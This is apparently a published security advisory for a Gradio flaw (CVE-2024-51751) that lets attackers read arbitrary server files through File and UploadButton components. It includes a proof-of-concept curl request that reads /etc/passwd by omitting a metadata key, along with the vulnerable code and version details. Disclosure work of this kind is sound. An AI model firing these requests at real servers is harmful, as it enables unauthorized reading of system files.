Gradio vulnerable to arbitrary file read with File and UploadButton components
Medium0.0CVE-2024-51751 · Published Nov 6, 2024 · updated Jun 5, 2026
### Summary If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server. ### Details Consider the following application where a user can upload a file and preview its content: ``` import gradio as gr def greet(value: bytes): return str(value) demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox") if __name__ == "__main__": demo.launch() ``` If we run this application and make the following request (which attempts to read the `/etc/passwd` file) ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain","meta":{"_type":"gradio.FileData"}}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` Then this results in the following error on the server ``` gradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user. ``` This is expected. However, if we now remove the `"...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| gradio PyPI | >= 5.0.0, < 5.5.0 | 5.5.0 |
Details and references
### Summary If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server. ### Details Consider the following application where a user can upload a file and preview its content: ``` import gradio as gr def greet(value: bytes): return str(value) demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox") if __name__ == "__main__": demo.launch() ``` If we run this application and make the following request (which attempts to read the `/etc/passwd` file) ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain","meta":{"_type":"gradio.FileData"}}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` Then this results in the following error on the server ``` gradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user. ``` This is expected. However, if we now remove the `"meta":{"_type":"gradio.FileData"}` from the request: ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` This doesn't cause an error and results in the content of /etc/passwd being shown in the response! This works because Gradio relies on the `processing_utils.async_move_files_to_cache` to sanitize all incoming file paths in all inputs. This function performs the following operation ``` return await client_utils.async_traverse( data, _move_to_cache, client_utils.is_file_obj_with_meta ) ``` where `client_utils.is_file_obj_with_meta` is used as a filter which tells on which inputs to perform the `_move_to_cache` function (which also performs the allowed/disallowed check on the file path). The problem is that `client_utils.is_file_obj_with_meta` is not guaranteed to trigger for every input that contains a file path: ``` def is_file_obj_with_meta(d) -> bool: """ Check if the given value is a valid FileData object dictionary in newer versions of Gradio where the file objects include a specific "meta" key, e.g. { "path": "path/to/file", "meta": {"_type: "gradio.FileData"} } """ return ( isinstance(d, dict) and "path" in d and isinstance(d["path"], str) and "meta" in d and d["meta"].get("_type", "") == "gradio.FileData" ) ``` For example, as in the PoC, the file path won't be checked if the `meta` key is not present in the request or if `_type` is not `gradio.FileData`. Then, the path remains under control of the attacker and is used to read a file in `_process_single_file` function in `file.py` and `upload_button.py` (and possibly other places) ### PoC As described above, run the following Gradio app ``` import gradio as gr def greet(value: bytes): return str(value) demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox") if __name__ == "__main__": demo.launch() ``` And make the following request ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` ### Impact Arbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.
More Gradio advisories
All Gradio| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Nov 52024 | gradio Server Side Request Forgery vulnerability | Medium6.5 | No fix yet |
| Oct 102024 | Gradio's dropdown component pre-process step does not limit the values to those in the dropdown list | Low5.3 | 5.0.0 |
| Oct 102024 | Gradio has an XSS on every Gradio server via upload of HTML files, JS files, or SVG files | Medium5.4 | 5.0.0 |
| Oct 102024 | Gradio uses insecure communication between the FRP client and server | High8.1 | 5.0.0 |
| Oct 102024 | Gradio has a race condition in update_root_in_config may redirect user traffic | High7.0 | 5.0.0 |
| Oct 102024 | Gradio performs a non-constant-time comparison when comparing hashes | Medium3.7 | 4.44.0 |